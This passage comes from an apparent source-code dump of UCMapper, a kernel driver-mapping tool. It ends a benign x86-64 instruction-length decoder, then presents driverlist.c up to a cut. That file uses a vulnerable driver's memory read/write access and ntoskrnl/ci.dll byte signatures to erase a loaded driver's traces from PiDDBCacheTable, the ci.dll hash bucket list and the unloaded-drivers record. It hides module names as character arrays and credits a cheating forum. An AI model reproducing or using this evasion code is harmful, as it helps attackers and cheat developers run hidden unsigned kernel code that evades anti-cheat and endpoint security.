(hs->opcode2) { 180 | ht = hde64_table + DELTA_PREFIXES; 181 | if (ht[ht[opcode / 4] + (opcode % 4)] & pref) 182 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 183 | } 184 | 185 | if (cflags & C_MODRM) { 186 | hs->flags |= F_MODRM; 187 | hs->modrm = c = *p++; 188 | hs->modrm_mod = m_mod = c >> 6; 189 | hs->modrm_rm = m_rm = c & 7; 190 | hs->modrm_reg = m_reg = (c & 0x3f) >> 3; 191 | 192 | if (x && ((x << m_reg) & 0x80)) 193 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 194 | 195 | if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { 196 | UCHAR t = opcode - 0xd9; 197 | if (m_mod == 3) { 198 | ht = hde64_table + DELTA_FPU_MODRM + t * 8; 199 | t = ht[m_reg] << m_rm; 200 | } else { 201 | ht = hde64_table + DELTA_FPU_REG; 202 | t = ht[t] << m_reg; 203 | } 204 | if (t & 0x80) 205 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 206 | } 207 | 208 | if (pref & PRE_LOCK) { 209 | if (m_mod == 3) { 210 | hs->flags |= F_ERROR | F_ERROR_LOCK; 211 | } else { 212 | UCHAR *table_end, prev_punch = opcode; 213 | if (hs->opcode2) { 214 | ht = hde64_table + DELTA_OP2_LOCK_OK; 215 | table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; 216 | } else { 217 | ht = hde64_table + DELTA_OP_LOCK_OK; 218 | table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; 219 | prev_punch &= -2; 220 | } 221 | for (; ht != table_end; ht++) 222 | if (*ht++ == prev_punch) { 223 | if (!((*ht << m_reg) & 0x80)) 224 | goto no_lock_error; 225 | else 226 | break; 227 | } 228 | hs->flags |= F_ERROR | F_ERROR_LOCK; 229 | no_lock_error:; 230 | } 231 | } 232 | 233 | if (hs->opcode2) { 234 | switch (opcode) { 235 | case 0x20: 236 | case 0x22: 237 | m_mod = 3; 238 | if (m_reg > 4 || m_reg == 1) 239 | goto error_operand; 240 | else 241 | goto no_error_operand; 242 | case 0x21: 243 | case 0x23: 244 | m_mod = 3; 245 | if (m_reg == 4 || m_reg == 5) 246 | goto error_operand; 247 | else 248 | goto no_error_operand; 249 | } 250 | } else { 251 | switch (opcode) { 252 | case 0x8c: 253 | if (m_reg > 5) 254 | goto error_operand; 255 | else 256 | goto no_error_operand; 257 | case 0x8e: 258 | if (m_reg == 1 || m_reg > 5) 259 | goto error_operand; 260 | else 261 | goto no_error_operand; 262 | } 263 | } 264 | 265 | if (m_mod == 3) { 266 | UCHAR* table_end; 267 | if (hs->opcode2) { 268 | ht = hde64_table + DELTA_OP2_ONLY_MEM; 269 | table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; 270 | } else { 271 | ht = hde64_table + DELTA_OP_ONLY_MEM; 272 | table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; 273 | } 274 | for (; ht != table_end; ht += 2) 275 | if (*ht++ == opcode) { 276 | if (*ht++ & pref && !((*ht << m_reg) & 0x80)) 277 | goto error_operand; 278 | else 279 | break; 280 | } 281 | goto no_error_operand; 282 | } else if (hs->opcode2) { 283 | switch (opcode) { 284 | case 0x50: 285 | case 0xd7: 286 | case 0xf7: 287 | if (pref & (PRE_NONE | PRE_66)) 288 | goto error_operand; 289 | break; 290 | case 0xd6: 291 | if (pref & (PRE_F2 | PRE_F3)) 292 | goto error_operand; 293 | break; 294 | case 0xc5: 295 | goto error_operand; 296 | } 297 | goto no_error_operand; 298 | } else 299 | goto no_error_operand; 300 | 301 | error_operand: 302 | hs->flags |= F_ERROR | F_ERROR_OPERAND; 303 | no_error_operand: 304 | 305 | c = *p++; 306 | if (m_reg <= 1) { 307 | if (opcode == 0xf6) 308 | cflags |= C_IMM8; 309 | else if (opcode == 0xf7) 310 | cflags |= C_IMM_P66; 311 | } 312 | 313 | switch (m_mod) { 314 | case 0: 315 | if (pref & PRE_67) { 316 | if (m_rm == 6) 317 | disp_size = 2; 318 | } else if (m_rm == 5) 319 | disp_size = 4; 320 | break; 321 | case 1: 322 | disp_size = 1; 323 | break; 324 | case 2: 325 | disp_size = 2; 326 | if (!(pref & PRE_67)) 327 | disp_size <<= 1; 328 | } 329 | 330 | if (m_mod != 3 && m_rm == 4) { 331 | hs->flags |= F_SIB; 332 | p++; 333 | hs->sib = c; 334 | hs->sib_scale = c >> 6; 335 | hs->sib_index = (c & 0x3f) >> 3; 336 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) 337 | disp_size = 4; 338 | } 339 | 340 | p--; 341 | switch (disp_size) { 342 | case 1: 343 | hs->flags |= F_DISP8; 344 | hs->disp.disp8 = *p; 345 | break; 346 | case 2: 347 | hs->flags |= F_DISP16; 348 | hs->disp.disp16 = *(USHORT*)p; 349 | break; 350 | case 4: 351 | hs->flags |= F_DISP32; 352 | hs->disp.disp32 = *(ULONG*)p; 353 | } 354 | p += disp_size; 355 | } else if (pref & PRE_LOCK) 356 | hs->flags |= F_ERROR | F_ERROR_LOCK; 357 | 358 | if (cflags & C_IMM_P66) { 359 | if (cflags & C_REL32) { 360 | if (pref & PRE_66) { 361 | hs->flags |= F_IMM16 | F_RELATIVE; 362 | hs->imm.imm16 = *(USHORT*)p; 363 | p += 2; 364 | goto disasm_done; 365 | } 366 | goto rel32_ok; 367 | } 368 | if (op64) { 369 | hs->flags |= F_IMM64; 370 | hs->imm.imm64 = *(ULONGLONG*)p; 371 | p += 8; 372 | } else if (!(pref & PRE_66)) { 373 | hs->flags |= F_IMM32; 374 | hs->imm.imm32 = *(ULONG*)p; 375 | p += 4; 376 | } else 377 | goto imm16_ok; 378 | } 379 | 380 | if (cflags & C_IMM16) { 381 | imm16_ok: 382 | hs->flags |= F_IMM16; 383 | hs->imm.imm16 = *(USHORT*)p; 384 | p += 2; 385 | } 386 | if (cflags & C_IMM8) { 387 | hs->flags |= F_IMM8; 388 | hs->imm.imm8 = *p++; 389 | } 390 | 391 | if (cflags & C_REL32) { 392 | rel32_ok: 393 | hs->flags |= F_IMM32 | F_RELATIVE; 394 | hs->imm.imm32 = *(ULONG*)p; 395 | p += 4; 396 | } else if (cflags & C_REL8) { 397 | hs->flags |= F_IMM8 | F_RELATIVE; 398 | hs->imm.imm8 = *p++; 399 | } 400 | 401 | disasm_done: 402 | 403 | if ((hs->len = (UCHAR)(p - (UCHAR*)code)) > 15) { 404 | hs->flags |= F_ERROR | F_ERROR_LENGTH; 405 | hs->len = 15; 406 | } 407 | 408 | return (unsigned int)hs->len; 409 | } 410 | 411 | #pragma warning(pop) 412 | -------------------------------------------------------------------------------- /UCMapper/driverlist.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | #define WINDOWS_11_22H2 4 | #if defined(WINDOWS_11_22H2) 5 | //SigMakerEx: Finding signature for 0000000086A1A2. 6 | //Address SIG: 0x0000000086A1A2, 22 bytes 12, wildcards. 7 | //IDA: "48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C3 48 83 C4" 8 | //"\x48\x8D\x0D\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\x8B\xC3\x48\x83\xC4", "xxx????x????x????xxxxx" 9 | 10 | static UCHAR PiDDBLockPattern[] 11 | = "\x48\x8D\x0D\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\xE8\xCC\xCC\xCC\xCC\x8B\xC3\x48\x83\xC4"; 12 | static CHAR PiDDBLockMask[] = "xxx????x????x????xxxxx"; 13 | 14 | //SigMakerEx: Finding signature for 0000000074DFB2. 15 | //Address SIG: 0x0000000074DFB2, 14 bytes 4, wildcards. 16 | //IDA: "48 8D 0D ?? ?? ?? ?? 45 33 F6 48 89 44 24" 17 | //"\x48\x8D\x0D\xCC\xCC\xCC\xCC\x45\x33\xF6\x48\x89\x44\x24", "xxx????xxxxxxx" 18 | 19 | static UCHAR PiDDBCacheTablePattern[] = "\x48\x8D\x0D\xCC\xCC\xCC\xCC\x45\x33\xF6\x48\x89\x44\x24"; 20 | static CHAR PiDDBCacheTableMask[] = "xxx????xxxxxxx"; 21 | static UCHAR HashBucketListPattern[] 22 | = "\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"; 23 | static CHAR HashBucketListMask[] = "xxx????x?xxxxxxx"; 24 | static UCHAR HashCacheLockPattern[] = "\x48\x8D\x0D"; 25 | static CHAR HashCacheLockMask[] = "xxx"; 26 | #endif 27 | 28 | #if 1 29 | // 30 | // Main code. 31 | // 32 | 33 | BOOLEAN MmUnloadedDriver(_In_ PDEVICE_DRIVER_OBJECT Driver) 34 | { 35 | ULONGLONG ProcessAddr; 36 | ULONGLONG DeviceObject; 37 | ULONGLONG DriverObject; 38 | ULONGLONG DriverSection; 39 | UNICODE_STRING BaseDllName; 40 | WCHAR DriverName[MAX_PATH]; 41 | NTSTATUS Status; 42 | 43 | Status = ObGetObjectByHandle(Driver->DeviceHandle, &ProcessAddr); 44 | 45 | if NT_SUCCESS (Status) { 46 | RtlSecureZeroMemory(DriverName, sizeof(DriverName)); 47 | if NT_ERROR ( 48 | Driver->ReadMemory( 49 | Driver->DeviceHandle, 50 | ProcessAddr + 0x8, 51 | &DeviceObject, 52 | sizeof(DeviceObject)) 53 | || !DeviceObject) { 54 | DEBUG_PRINT("[!] Failed to find DeviceObject"); 55 | return FALSE; 56 | } 57 | 58 | if NT_ERROR ( 59 | Driver->ReadMemory( 60 | Driver->DeviceHandle, 61 | DeviceObject + offsetof(DEVICE_OBJECT, DriverObject), 62 | &DriverObject, 63 | sizeof(DriverObject)) 64 | || !DriverObject) { 65 | DEBUG_PRINT("[!] Failed to find DriverObject"); 66 | return FALSE; 67 | } 68 | 69 | if NT_ERROR ( 70 | Driver->ReadMemory( 71 | Driver->DeviceHandle, 72 | DriverObject + offsetof(DRIVER_OBJECT, DriverSection), 73 | &DriverSection, 74 | sizeof(DriverSection)) 75 | || !DriverSection) { 76 | DEBUG_PRINT("[!] Failed to find DriverSection"); 77 | return FALSE; 78 | } 79 | 80 | if NT_ERROR ( 81 | Driver->ReadMemory( 82 | Driver->DeviceHandle, 83 | DriverSection + offsetof(LDR_DATA_TABLE_ENTRY, BaseDllName), 84 | &BaseDllName, 85 | sizeof(BaseDllName)) 86 | || BaseDllName.Length == 0) { 87 | DEBUG_PRINT("[!] Failed to find DriverName"); 88 | return FALSE; 89 | } 90 | 91 | if NT_ERROR (Driver->ReadMemory( 92 | Driver->DeviceHandle, 93 | (ULONGLONG)BaseDllName.Buffer, 94 | DriverName, 95 | BaseDllName.Length)) { 96 | DEBUG_PRINT("[!] Failed to read DriverName"); 97 | return FALSE; 98 | } 99 | 100 | DEBUG_PRINT("[+] Found %ws on Ldr Table Entry.", DriverName); 101 | // MiRememberUnloadedDriver will check 102 | // if the length > 0 to save the unloaded 103 | // driver 104 | BaseDllName.Length = 0; 105 | if NT_ERROR (Driver->WriteMemory( 106 | Driver->DeviceHandle, 107 | DriverSection + offsetof(LDR_DATA_TABLE_ENTRY, BaseDllName), 108 | &BaseDllName, 109 | sizeof(BaseDllName))) { 110 | DEBUG_PRINT("[!] Failed to write driver name length"); 111 | return FALSE; 112 | } 113 | 114 | return TRUE; 115 | } 116 | 117 | return FALSE; 118 | } 119 | 120 | BOOLEAN PidDBCacheTable( 121 | _In_ PDEVICE_DRIVER_OBJECT Driver, 122 | _In_ LPWSTR DriverFilename, 123 | _In_ ULONG TimeDateStamp) 124 | { 125 | PVOID PiDDBLock; 126 | PRTL_AVL_TABLE PiDDBCacheTable; 127 | RTL_PROCESS_MODULE_INFORMATION KernelModule; 128 | PDDBCACHE_ENTRY pFoundEntry; 129 | DDBCACHE_ENTRY LocalEntry; 130 | CHAR v1[] = {'n', 't', 'o', 's', 'k', 'r', 'n', 'l', '.', 'e', 'x', 'e', '\0'}; 131 | 132 | RtlZeroMemory(&KernelModule, sizeof(KernelModule)); 133 | MmGetSystemModuleA(v1, &KernelModule); 134 | 135 | PiDDBLock = KiFindPattern( 136 | Driver, 137 | KernelModule.ImageBase, 138 | KernelModule.ImageSize, 139 | PiDDBLockPattern, 140 | PiDDBLockMask); 141 | 142 | PiDDBCacheTable = KiFindPattern( 143 | Driver, 144 | KernelModule.ImageBase, 145 | KernelModule.ImageSize, 146 | PiDDBCacheTablePattern, 147 | PiDDBCacheTableMask); 148 | 149 | if (PiDDBLock && PiDDBCacheTable) { 150 | PiDDBLock = KiRelativeVirtualAddress(Driver, PiDDBLock, 3, 7); 151 | PiDDBCacheTable = KiRelativeVirtualAddress(Driver, PiDDBCacheTable, 3, 7); 152 | } 153 | 154 | if (PiDDBLock == 0 || PiDDBCacheTable == 0) { 155 | DEBUG_PRINT("[-] PiDDBLock: 0x%p.", PiDDBLock); 156 | DEBUG_PRINT("[-] PiDDBCacheTable: 0x%p.", PiDDBCacheTable); 157 | 158 | return FALSE; 159 | } 160 | 161 | // 162 | // context part is not used by lookup, lock or delete why we should use it? 163 | // 164 | 165 | if NT_ERROR (KiExAcquireResourceExclusiveLite(Driver, PiDDBLock, TRUE)) { 166 | DEBUG_PRINT("[-] Can't lock PiDDBCacheTable"); 167 | return FALSE; 168 | } 169 | 170 | // 171 | // search our entry in the table 172 | // 173 | LocalEntry.TimeDateStamp = TimeDateStamp; 174 | RtlInitUnicodeString(&LocalEntry.Name, DriverFilename); 175 | if (NT_ERROR( 176 | KiRtlLookupElementGenericTableAvl(Driver, PiDDBCacheTable, &LocalEntry, &pFoundEntry)) 177 | || pFoundEntry == NULL) { 178 | DEBUG_PRINT("[-] Not found in cache"); 179 | KiExReleaseResourceLite(Driver, PiDDBLock); 180 | return FALSE; 181 | } 182 | 183 | // first, unlink from the list 184 | PLIST_ENTRY PreviousList = NULL; 185 | if NT_ERROR (Driver->ReadMemory( 186 | Driver->DeviceHandle, 187 | (ULONGLONG)pFoundEntry + FIELD_OFFSET(DDBCACHE_ENTRY, List.Blink), 188 | &PreviousList, 189 | sizeof(PLIST_ENTRY))) { 190 | DEBUG_PRINT("[-] Can't get prev entry"); 191 | KiExReleaseResourceLite(Driver, PiDDBLock); 192 | return FALSE; 193 | } 194 | 195 | PLIST_ENTRY next = NULL; 196 | if NT_ERROR (Driver->ReadMemory( 197 | Driver->DeviceHandle, 198 | (ULONGLONG)pFoundEntry + FIELD_OFFSET(DDBCACHE_ENTRY, List.Flink), 199 | &next, 200 | sizeof(PLIST_ENTRY))) { 201 | DEBUG_PRINT("[-] Can't get next entry"); 202 | KiExReleaseResourceLite(Driver, PiDDBLock); 203 | return FALSE; 204 | } 205 | 206 | if NT_ERROR (Driver->WriteMemory( 207 | Driver->DeviceHandle, 208 | (ULONGLONG)PreviousList + FIELD_OFFSET(struct _LIST_ENTRY, Flink), 209 | &next, 210 | sizeof(PLIST_ENTRY))) { 211 | DEBUG_PRINT("[-] Can't set next entry"); 212 | KiExReleaseResourceLite(Driver, PiDDBLock); 213 | return FALSE; 214 | } 215 | 216 | if NT_ERROR (Driver->WriteMemory( 217 | Driver->DeviceHandle, 218 | (ULONGLONG)next + FIELD_OFFSET(struct _LIST_ENTRY, Blink), 219 | &PreviousList, 220 | sizeof(PLIST_ENTRY))) { 221 | DEBUG_PRINT("[-] Can't set prev entry"); 222 | KiExReleaseResourceLite(Driver, PiDDBLock); 223 | return FALSE; 224 | } 225 | 226 | // then delete the element from the avl table 227 | if NT_ERROR (KiRtlDeleteElementGenericTableAvl(Driver, PiDDBCacheTable, pFoundEntry)) { 228 | DEBUG_PRINT("[-] Can't delete from PiDDBCacheTable"); 229 | KiExReleaseResourceLite(Driver, PiDDBLock); 230 | return FALSE; 231 | } 232 | 233 | // 234 | // Decrement delete count 235 | // 236 | 237 | ULONG cacheDeleteCount = 0; 238 | 239 | Driver->ReadMemory( 240 | Driver->DeviceHandle, 241 | (ULONGLONG)PiDDBCacheTable + (FIELD_OFFSET(struct _RTL_AVL_TABLE, DeleteCount)), 242 | &cacheDeleteCount, 243 | sizeof(ULONG)); 244 | 245 | if (cacheDeleteCount > 0) { 246 | cacheDeleteCount--; 247 | if NT_ERROR (Driver->WriteMemory( 248 | Driver->DeviceHandle, 249 | (ULONGLONG)PiDDBCacheTable 250 | + (FIELD_OFFSET(struct _RTL_AVL_TABLE, DeleteCount)), 251 | &cacheDeleteCount, 252 | sizeof(ULONG))) { 253 | DEBUG_PRINT("[-] Failed WriteSystemMemory to cacheDeleteCount."); 254 | } 255 | } 256 | 257 | // 258 | // release the ddb resource lock 259 | // 260 | 261 | KiExReleaseResourceLite(Driver, PiDDBLock); 262 | DEBUG_PRINT("[+] PidDb Cleaned."); 263 | return TRUE; 264 | } 265 | 266 | BOOLEAN KernelHashBucketList(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ LPWSTR DriverFilename) 267 | { 268 | RTL_PROCESS_MODULE_INFORMATION ModuleInformation; 269 | CHAR v1[] = {'c', 'i', '.', 'd', 'l', 'l', '\0'}; 270 | 271 | 272 | if NT_ERROR (MmGetSystemModuleA(v1, &ModuleInformation)) 273 | return FALSE; 274 | 275 | // Thanks @KDIo3 and @Swiftik from UnknownCheats 276 | PVOID HashBucketList = KiFindPattern( 277 | Driver, 278 | ModuleInformation.ImageBase, 279 | ModuleInformation.ImageSize, 280 | HashBucketListPattern, 281 | HashBucketListMask); 282 | 283 | PVOID HashBucketLock = KiFindPattern( 284 | Driver, 285 | (PCHAR)HashBucketList - 50, 286 | 50, 287 | HashCacheLockPattern, 288 | HashCacheLockMask); 289 | 290 | if (HashBucketList && HashBucketLock) { 291 | HashBucketList = KiRelativeVirtualAddress(Driver, HashBucketList, 3, 7); 292 | HashBucketLock = KiRelativeVirtualAddress(Driver, HashBucketLock, 3, 7); 293 | } 294 | 295 | if (!HashBucketList || !HashBucketLock) { 296 | DEBUG_PRINT("[-] HashBucketList: 0x%p.", HashBucketList); 297 | DEBUG_PRINT("[-] HashBucketLock: 0x%p.", HashBucketLock); 298 | return FALSE; 299 | } 300 | 301 | if NT_SUCCESS (KiExAcquireResourceExclusiveLite(Driver, HashBucketLock, TRUE)) { 302 | PHASH_BUCKET_ENTRY HashBucketPrev = HashBucketList; 303 | PHASH_BUCKET_ENTRY HashBucketEntry = NULL; 304 | 305 | if NT_ERROR (Driver->ReadMemory( 306 | Driver->DeviceHandle, 307 | (ULONGLONG)HashBucketPrev, 308 | &HashBucketEntry, 309 | sizeof(HashBucketEntry))) { 310 | DEBUG_PRINT("[-] Failed to read first HashBucketEntry: 0x%p.", HashBucketEntry); 311 | KiExReleaseResourceLite(Driver, HashBucketLock); 312 | return FALSE; 313 | } 314 | 315 | if (!HashBucketEntry) { 316 | DEBUG_PRINT("[!] g_KernelHashBucketList looks empty!"); 317 | KiExReleaseResourceLite(Driver, HashBucketLock); 318 | return TRUE; 319 | } 320 | 321 | while (HashBucketEntry != HashBucketPrev) { 322 | PHASH_BUCKET_ENTRY HashBucketNext = 0; 323 | HASH_BUCKET_ENTRY HashBucket; 324 | LPWSTR lpDriverName; 325 | 326 | if NT_ERROR (Driver->ReadMemory( 327 | Driver->DeviceHandle, 328 | (ULONGLONG)HashBucketEntry, 329 | &HashBucket, 330 | sizeof(HashBucket))) { 331 | DEBUG_PRINT("[-] Failed reading HashBucketEntry."); 332 | break; 333 | } 334 | 335 | lpDriverName = RtlAllocateMemory(HashBucket.DriverName.MaximumLength); 336 | if NT_ERROR (Driver->ReadMemory( 337 | Driver->DeviceHandle, 338 | (ULONGLONG)HashBucket.DriverName.Buffer, 339 | lpDriverName, 340 | HashBucket.DriverName.Length)) { 341 | DEBUG_PRINT("[-] Failed reading HashBucketEntry DriverName."); 342 | RtlFreeMemory(lpDriverName); 343 | break; 344 | } 345 | 346 | if (wcsstr(lpDriverName, DriverFilename)) { 347 | if NT_ERROR (Driver->ReadMemory( 348 | Driver->DeviceHandle, 349 | (ULONGLONG)HashBucketEntry, 350 | &HashBucketNext, 351 | sizeof(HashBucketNext))) { 352 | DEBUG_PRINT("[-] Failed reading HashBucketEntry Next Entry."); 353 | RtlFreeMemory(lpDriverName); 354 | break; 355 | } 356 | 357 | if NT_ERROR (Driver->WriteMemory( 358 | Driver->DeviceHandle, 359 | (ULONGLONG)HashBucketPrev, 360 | &HashBucketNext, 361 | sizeof(HashBucketNext))) { 362 | DEBUG_PRINT("[-] Failed unlinking HashBucketEntry."); 363 | RtlFreeMemory(lpDriverName); 364 | break; 365 | } 366 | 367 | DEBUG_PRINT("[+] HashBucketEntry of %ws has been Cleaned.", lpDriverName); 368 | KiExFreePool(Driver, (ULONGLONG)HashBucketEntry); 369 | KiExReleaseResourceLite(Driver, HashBucketLock); 370 | RtlFreeMemory(lpDriverName); 371 | return TRUE; 372 | } 373 | 374 | RtlFreeMemory(lpDriverName); 375 | 376 | // Read Next 377 | HashBucketPrev = HashBucketEntry; 378 | if NT_ERROR (Driver->ReadMemory( 379 | Driver->DeviceHandle, 380 | (ULONGLONG)HashBucketEntry, 381 | &HashBucketEntry, 382 | sizeof(HashBucketEntry))) { 383 | DEBUG_PRINT( 384 | "[-] Failed to read HashBucketEntry next entry: 0x%p.", 385 | HashBucketEntry); 386 | break; 387 | } 388 | } 389 | 390 | KiExReleaseResourceLite(Driver, HashBucketLock); 391 | } 392 | 393 | return FALSE; 394 | } 395 | 396 | // 397 | // Public api 398 | // 399 | 400 | NTSTATUS RemoveDriverRuntimeList(IN PDEVICE_DRIVER_OBJECT Driver, IN LPCWSTR DriverName) 401 | { 402 | NTSTATUS Status; 403 | RTL_PROCESS_MODULE_INFORMATION Module; 404 | extern ULONGLONG DriverResource[5517]; 405 | 406 | Status = MmGetSystemModuleW(DriverName, &Module); 407 | if NT_SUCCESS (Status) { 408 | Status = STATUS_ACCESS_DENIED; 409 | if (PidDBCacheTable( 410 | Driver, 411 | (LPWSTR)DriverName, 412 | RtlImageNtHeader(DriverResource)->FileHeader.TimeDateStamp)) { 413 | if (KernelHashBucketList(Driver, (LPWSTR)DriverName)) { 414 | if (MmUnloadedDriver(Driver)) 415 | Status = STATUS_SUCCESS; 416 | } 417 | } 418 | } 419 | 420 | return Status; 421 | } 422 | 423 | #else 424 | typedef struct _DRIVER_RUNTIME_WORKER_CONTEXT 425 | { 426 | struct 427 | { 428 | UNICODE_STRING DriverName; 429 | }; 430 | 431 | struct 432 | { 433 | PERESOURCE PiDDBLock; 434 | PRTL_AVL_TABLE PiDDBCacheTable; 435 | PERESOURCE HashBucketLock; 436 | PHASH_BUCKET_ENTRY HashBucketList; 437 | }; 438 | 439 | KERNEL_IMPORT_TABLE Table; 440 | } DRIVER_RUNTIME_WORKER_CONTEXT, *PDRIVER_RUNTIME_WORKER_CONTEXT; 441 | 442 | FORCEINLINE PKLDR_DATA_TABLE_ENTRY KERNEL_MODE_API 443 | LookupDataTableEntry(IN PKERNEL_IMPORT_TABLE Table, IN PUNICODE_STRING DriverName) 444 | { 445 | PLIST_ENTRY Entry; 446 | PKLDR_DATA_TABLE_ENTRY CurrentTable; 447 | PKLDR_DATA_TABLE_ENTRY Result; 448 | PKLDR_DATA_TABLE_ENTRY KernelTable; 449 | 450 | Result = NULL; 451 | KernelTable 452 | = CONTAINING_RECORD(Table->PsLoadedModuleList, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); 453 | 454 | for (Entry = KernelTable->InLoadOrderLinks.Flink; Entry != &KernelTable->InLoadOrderLinks; 455 | Entry = Entry->Flink) { 456 | CurrentTable = CONTAINING_RECORD(Entry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); 457 | if (Table->RtlEqualUnicodeString(&CurrentTable->BaseDllName, DriverName, TRUE)) { 458 | Result = CurrentTable; 459 | break; 460 | } 461 | } 462 | return Result; 463 | } 464 | 465 | static NTSTATUS KERNEL_MODE_API 466 | RemoveDriverRuntimeListWorker(IN PDRIVER_RUNTIME_WORKER_CONTEXT Context) 467 | { 468 | PKLDR_DATA_TABLE_ENTRY DriverTable; 469 | NTSTATUS Status; 470 | DDBCACHE_ENTRY LocalEntry; 471 | PDDBCACHE_ENTRY CacheEntry; 472 | 473 | PKERNEL_IMPORT_TABLE Import; 474 | 475 | Import = &Context->Table; 476 | DriverTable = LookupDataTableEntry(Import, &Context->DriverName); 477 | if (DriverTable == NULL) { 478 | Status = STATUS_INVALID_PARAMETER; 479 | return Status; 480 | } 481 | 482 | // DDB_CACHE_ENTRY 483 | Status = STATUS_RESOURCE_NOT_OWNED; 484 | if (Import->ExAcquireResourceExclusiveLite(Context->PiDDBLock, TRUE)) { 485 | LocalEntry.TimeDateStamp = DriverTable->TimeDateStamp; 486 | LocalEntry.Name.Buffer = DriverTable->BaseDllName.Buffer; 487 | LocalEntry.Name.Length = DriverTable->BaseDllName.Length; 488 | LocalEntry.Name.MaximumLength = DriverTable->BaseDllName.MaximumLength; 489 | CacheEntry = Import->RtlLookupElementGenericTableAvl(Context->PiDDBCacheTable, &LocalEntry); 490 | Status = STATUS_NOT_FOUND; 491 | 492 | if (CacheEntry) { 493 | PLIST_ENTRY NextEntry, PrevEntry; 494 | NextEntry = CacheEntry->List.Flink; 495 | PrevEntry = CacheEntry->List.Blink; 496 | PrevEntry->Flink = NextEntry; 497 | NextEntry->Blink = PrevEntry; 498 | 499 | if (Import->RtlDeleteElementGenericTableAvl(Context->PiDDBCacheTable, CacheEntry)) { 500 | if (Context->PiDDBCacheTable->DeleteCount > 0) { 501 | Context->PiDDBCacheTable->DeleteCount--; 502 | Status = STATUS_SUCCESS; 503 | } 504 | } 505 | } 506 | Import->ExReleaseResourceLite(Context->PiDDBLock); 507 | } 508 | 509 | // HASH_BUCKET_LIST 510 | if NT_SUCCESS (Status) { 511 | PHASH_BUCKET_ENTRY HashPrevEntry; 512 | USHORT DriverNameVA; 513 | LPWSTR DriverNameBuffer; 514 | UNICODE_STRING BaseDriverName; 515 | 516 | Status = STATUS_RESOURCE_NOT_OWNED; 517 | if (Import->ExAcquireResourceExclusiveLite(Context->HashBucketLock, TRUE)) { 518 | HashPrevEntry = Context->HashBucketList; 519 | 520 | Status = STATUS_MEMORY_NOT_ALLOCATED; 521 | while (Context->HashBucketList->Next != NULL) { 522 | if (Context->HashBucketList->DriverName.Buffer) { 523 | DriverNameVA = Context->HashBucketList->DriverName.Length 524 | - DriverTable->BaseDllName.Length; 525 | DriverNameVA /= sizeof(WCHAR); 526 | DriverNameBuffer = Context->HashBucketList->DriverName.Buffer + DriverNameVA; 527 | Import->RtlInitUnicodeString(&BaseDriverName, DriverNameBuffer); 528 | 529 | Status = STATUS_NOT_MAPPED_DATA; 530 | if (Import->RtlEqualUnicodeString( 531 | &BaseDriverName, 532 | &DriverTable->BaseDllName, 533 | TRUE) 534 | == TRUE) { 535 | HashPrevEntry->Next = Context->HashBucketList->Next; 536 | 537 | Import->memset( 538 | Context->HashBucketList->CertHash, 539 | 0, 540 | sizeof(Context->HashBucketList->CertHash)); 541 | 542 | Import->memset( 543 | Context->HashBucketList->DriverName.Buffer, 544 | 0, 545 | Context->HashBucketList->DriverName.Length); 546 | 547 | Import->memset( 548 | &Context->HashBucketList->DriverName, 549 | 0, 550 | sizeof(Context->HashBucketList->DriverName)); 551 | 552 | Import->ExFreePoolWithTag(Context->HashBucketList, 0); 553 | Context->HashBucketList = NULL; 554 | 555 | Status = STATUS_SUCCESS; 556 | break; 557 | } 558 | } 559 | 560 | HashPrevEntry = Context->HashBucketList; 561 | Context->HashBucketList = Context->HashBucketList->Next; 562 | } 563 | 564 | Import->ExReleaseResourceLite(Context->HashBucketLock); 565 | } 566 | } 567 | 568 | DriverTable->BaseDllName.Length = 0; 569 | return Status; 570 | } 571 | 572 | NTSTATUS RemoveDriverRuntimeList(IN PDEVICE_DRIVER_OBJECT Driver, IN LPCWSTR DriverName) 573 | { 574 | NTSTATUS Status; 575 | RTL_PROCESS_MODULE_INFORMATION SystemModule; 576 | RTL_PROCESS_MODULE_INFORMATION CiModule; 577 | PVOID PiDDBLock; 578 | PRTL_AVL_TABLE PiDDBCacheTable; 579 | ULONGLONG WorkerRoutine; 580 | DRIVER_RUNTIME_WORKER_CONTEXT WorkerContext; 581 | UCHAR Storage[12]; 582 | SIZE_T WorkerSize; 583 | 584 | CHAR v1[] = {'n', 't', 'o', 's', 'k', 'r', 'n', 'l', '.', 'e', 'x', 'e', '\0'}; 585 | CHAR v2[] = {'c', 'i', '.', 'd', 'l', 'l', '\0'}; 586 | 587 | // Query Module Information. 588 | RtlSecureZeroMemory(&WorkerContext, sizeof(WorkerContext)); 589 | RtlSecureZeroMemory(&SystemModule, sizeof(SystemModule)); 590 | RtlSecureZeroMemory(&CiModule, sizeof(CiModule)); 591 | Status = MmGetSystemModuleA(v1, &SystemModule); 592 | 593 | if NT_SUCCESS (Status) 594 | Status = MmGetSystemModuleA(v2, &CiModule); 595 | 596 | if NT_ERROR (Status) { 597 | DEBUG_PRINT_NTSTATUS(Status); 598 | return Status; 599 | } 600 | 601 | // Find all needed pattern. 602 | PiDDBLock = KiFindPattern( 603 | Driver, 604 | SystemModule.ImageBase, 605 | SystemModule.ImageSize, 606 | PiDDBLockPattern, 607 | PiDDBLockMask); 608 | 609 | PiDDBCacheTable = KiFindPattern( 610 | Driver, 611 | SystemModule.ImageBase, 612 | SystemModule.ImageSize, 613 | PiDDBCacheTablePattern, 614 | PiDDBCacheTableMask); 615 | 616 | // Thanks @KDIo3 and @Swiftik from UnknownCheats 617 | PVOID HashBucketList = KiFindPattern( 618 | Driver, 619 | CiModule.ImageBase, 620 | 